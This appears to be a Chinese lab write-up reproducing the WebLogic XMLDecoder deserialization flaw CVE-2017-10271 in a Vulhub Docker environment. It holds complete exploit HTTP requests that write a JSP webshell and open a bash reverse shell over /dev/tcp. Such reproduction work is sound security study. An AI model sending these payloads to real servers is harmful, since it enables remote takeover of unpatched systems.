Weblogic简介
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
WebLogic是美商oracle的主要产品之一,系并购BEA得来。是商业市场上主要的Java(J2EE)应用服务器软件(application server)之一,是世界上第一个成功商业化的J2EE应用服务器, 已推出到12c(12.1.3) 版。而此产品也延伸出WebLogic Portal,WebLogic Integration等企业用的中间件(但当下Oracle主要以Fusion Middleware融合中间件来取代这些WebLogic Server之外的企业包),以及OEPE(Oracle Enterprise Pack for Eclipse)开发工具
Weblogic XMLDecoder 反序列化漏洞
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令,攻击者只需要发送精心构造的xml恶意数据,就可以拿到目标服务器的权限。
| 漏洞编号 | CVE-2017-10271 | |||
| 影响版本 | 10.3.6.0.0 | 12.1.3.0.0 | 12.2.1.1.0 | 12.2.1.2.0 |
| 复现环境 | Vulhub | docker-io | kali linux |
| 攻击机IP | 129.9.0.164 |
| 靶机IP | 129.9.0.164 |
默认端口7001通过nmap探测namp -Pn IP漏洞地址wls-wsat/CoordinatorPortType/wls-wsat/CoordinatorPortType11/wls-wsat/ParticipantPortType/wls-wsat/ParticipantPortType11/wls-wsat/RegistrationPortTypeRPC/wls-wsat/RegistrationPortTypeRPC11/wls-wsat/RegistrationRequesterPortType/wls-wsat/RegistrationRequesterPortType11漏洞环境搭cd /weblogic/CVE-2017-10271docker-compose up -d查看端口 和 服务nmap -Pn IPdocker ps -a



访问`http://your-ip:7001/`即可看到一个404页面,说明weblogic已成功启动。

漏洞利用exp:https://www.exploit-db.com/exploits/43924初步判断访问 http://IP:7001/wls-wsat/CoordinatorPortType11,存在下图则说明可能存在漏洞

使用burp suite验证发送如下数据包(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误)测试发送一个webshell包POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: 129.9.0.164:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 638<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<% out.print("test"); %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

访问测试页面看是否成功写入成功,证明存在此漏洞

测试写入一个shell
POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: 129.9.0.164:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 638<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.4.0" class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i >& /dev/tcp/129.9.0.164/6666 0>&1</string></void></array><void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>





